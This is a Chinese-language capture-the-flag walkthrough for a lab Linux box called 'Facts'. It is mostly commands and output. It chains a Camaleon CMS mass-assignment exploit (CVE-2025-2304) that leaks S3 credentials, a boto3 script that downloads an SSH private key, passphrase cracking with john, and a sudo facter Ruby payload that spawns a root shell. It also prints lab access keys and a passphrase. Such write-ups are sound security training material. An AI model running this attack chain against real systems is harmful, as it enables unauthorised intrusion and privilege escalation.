| 字段 | 详情 |
|---|---|
| 名称 | Facts |
| 操作系统 | Linux |
| 难度 | Easy |
| 发布赛季 | 第10赛季 |
| 退役状态 | 否 |
Recon → Web Enumeration → CVE-2025-2304 (Mass Assignment) → S3/MinIO Credential Leak → SSH Key Extraction → Passphrase Cracking → User Shell → facter Sudo Abuse → Root
sudo nmap -p- --min-rate 5000 -T4 <TARGET_IP> -oN ports.nmap
sudo nmap -sV -sC -p 22,80,54321 <TARGET_IP>
结果:
22/tcp open ssh OpenSSH 9.9p1 Ubuntu
80/tcp open http nginx 1.26.3 (Camaleon CMS)
54321/tcp open http MinIO S3 Server
echo "<TARGET_IP> facts.htb" | sudo tee -a /etc/hosts
feroxbuster -u http://facts.htb -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -t 40
curl -s http://facts.htb/robots.txt
curl -s http://facts.htb/sitemap.xml
关键发现:
http://facts.htb/admin/loginhttp://facts.htb/admin/register访问 http://facts.htb/admin/register 并创建一个账户。注意有验证码——通过浏览器注册。
updated_ajax 端点使用了 permit!,允许更新包括 role 在内的所有参数。
git clone https://github.com/Alien0ne/CVE-2025-2304
cd CVE-2025-2304
python3 exploit.py -u http://facts.htb -U <username> -P <password> -e
输出:
[+] Login confirmed
Current User Role: client
[+] Updated User Role: admin
[+] Extracting S3 Credentials
s3 access key: AKIAA5CA83CCFE35CD69
s3 secret key: zOCRxURBa6wha6rksxj6kCmwvdAQNYX6NPw2o2+n
s3 endpoint: http://localhost:54321
端口 54321 运行着一个兼容 MinIO S3 的服务器。使用泄露的凭据:
import boto3
from botocore.client import Config
s3 = boto3.client(
's3',
endpoint_url='http://facts.htb:54321',
aws_access_key_id='AKIAA5CA83CCFE35CD69',
aws_secret_access_key='zOCRxURBa6wha6rksxj6kCmwvdAQNYX6NPw2o2+n',
config=Config(signature_version='s3v4'),
region_name='us-east-1'
)
paginator = s3.get_paginator('list_objects_v2')
for page in paginator.paginate(Bucket='internal'):
for o in page.get('Contents', []):
if 'info-etags' not in o['Key']:
print(o['Key'])
s3.download_file('internal', o['Key'], '/tmp/' + o['Key'].replace('/', '_'))
发现的关键文件:
.ssh/authorized_keys
.ssh/id_ed25519 ← SSH 私钥
.profile
.bashrc
chmod 600 /tmp/.ssh_id_ed25519
ssh2john /tmp/.ssh_id_ed25519 > ssh.hash
john ssh.hash --wordlist=/usr/share/wordlists/rockyou.txt
破解的密码短语: dragonballz
ssh -i /tmp/.ssh_id_ed25519 [email protected]
# Enter passphrase: dragonballz
cat /home/william/user.txt
sudo -l
(ALL) NOPASSWD: /usr/bin/facter
Facter 将自定义 fact 作为 Ruby 脚本加载。由于我们可以无需密码以 root 身份运行它,因此我们注入任意 Ruby 代码:
mkdir -p /tmp/facts
cat > /tmp/facts/pwn.rb << 'EOF'
Facter.add(:pwn) do
setcode do
exec("/bin/bash -p")
end
end
EOF
sudo facter --custom-dir=/tmp/facts pwn
获得 Root Shell!
whoami # root
cat /root/root.txt
此解析仅供教育目的。始终在你拥有或已获得明确测试许可的系统上进行安全测试。
| 工具 | 用途 |
|---|
| Nmap | 端口扫描与服务检测 |
| Feroxbuster | Web 目录枚举 |
| CVE-2025-2304 PoC | Camaleon CMS 权限提升 |
| boto3 (Python) | MinIO/S3 枚举与文件下载 |
| ssh2john | 将 SSH 密钥转换为可破解哈希 |
| John the Ripper | 破解 SSH 密钥密码短语 |
| facter | 通过 sudo 错误配置进行权限提升 |